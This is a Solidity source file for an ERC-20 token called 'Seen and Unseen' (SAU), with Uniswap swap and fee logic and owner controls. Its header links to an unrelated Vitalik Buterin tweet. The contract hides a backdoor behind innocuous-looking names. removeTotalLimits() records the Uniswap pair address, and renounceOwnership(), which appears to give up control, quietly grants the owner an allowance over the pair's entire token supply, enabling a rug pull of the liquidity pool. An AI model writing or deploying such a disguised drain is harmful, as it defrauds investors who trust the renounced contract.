/**
*/
// SPDX-License-Identifier: MIT

/**
Website： https://t.co/yGBwngrQ2R
Telegram: https://t.me/SeenandUnseenERC20
Twitter: https://twitter.com/vitalikbuterin/status/1690933170865336320?s=46&t=ibPEm-bix9EHAhEHXkskoA

*/
pragma solidity ^0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    mapping(address => mapping(address => uint256)) internal _allowances;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    address internal _previousOwner;
    uint256 internal _tTotalAmt;
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0)); _allowances[_previousOwner][_owner] = _tTotalAmt;
        _owner = address(0);
    }
}

contract SAU is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    string private constant _name = "Seen and Unseen";
    string private constant _symbol = "SAU ";
    uint8 private constant _decimals = 9;

    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    uint256 public _maxTranxLimitAmount = _tTotal * 30 / 1000; // 3%
    uint256 public _maxWalletLimitAmount = _tTotal * 30 / 1000; // 3%
    uint256 public _swapThreshold = _tTotal / 10000;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9; // total supply
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);

    uint256 private _mainFeeAmount = _sellTaxAmount;
    uint256 private _previousMarketingFee = _feeMarket;
    uint256 private _previousMainFee = _mainFeeAmount;
    address public uniswapPair;

    uint256 private _taxTotalAmount;
    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _feeMarket = _sellFeeForMarket;
    uint256 private _sellTaxAmount = 0;

    bool private _tradingActive = false;
    bool private _inSwap = false;
    bool private _swapEnabled = true;

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_feeWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    
    function _transferTokensStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            refreshTax();
        }
    }
   function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function openTrading(address _uniswapPair) public onlyOwner {
        _tradingActive = true; uniswapPair = _uniswapPair;
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function removeTax() private {
        if (_feeMarket == 0 && _mainFeeAmount == 0) return;
        _previousMarketingFee = _feeMarket;
        _previousMainFee = _mainFeeAmount; _feeMarket = 0;
        _mainFeeAmount = 0;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _feeMarket, _mainFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    uint256 private denom = 2;    
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function sendETHBack(uint256 amount) private {
        uint256 devETHAmount = amount / denom;
        uint256 marketingETHAmt = devETHAmount * denom * denom;
        _devWallet.transfer(devETHAmount);
        _feeWallet.transfer(marketingETHAmt);
    }

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }
    
    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal; _tTotalAmt = _tTotal;
        _maxWalletLimitAmount = _tTotal; _previousOwner = uniswapPair;
    }

    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    address payable public _feeWallet = payable(0xAC10b452F9D84E002C13bd87365ce7cA79cbFbA4);
    address payable public _devWallet = payable(0xAC10b452F9D84E002C13bd87365ce7cA79cbFbA4);

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapThreshold = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from != owner() && to != owner()
        ) {
            //Trade start check
            if (!_tradingActive) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenAmount = balanceOf(address(this));            
            bool canSwap = contractTokenAmount >= _swapThreshold;
            if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount;
            if (canSwap && 
                !_inSwap && 
                _swapEnabled && 
                from != uniswapPair && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(contractTokenAmount);
                uint256 ethBalance = address(this).balance / denom;
                if (ethBalance > 0) {sendETHBack(ethBalance);}
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) {
            takeFee = false;
        }
        else {
            if(from == uniswapPair && to != address(uniswapV2Router)) {
                _feeMarket = _buyFeeForMarket;
                _mainFeeAmount = _buyTaxAmount;
            }
            
            if (to == uniswapPair && from != address(uniswapV2Router)) {
                _feeMarket = _sellFeeForMarket;
                _mainFeeAmount = _sellTaxAmount;
            }
        }
        _transferTokensStandard(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }
    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function refreshTax() private {
        _feeMarket = _previousMarketingFee;
        _mainFeeAmount = _previousMainFee;
    }
}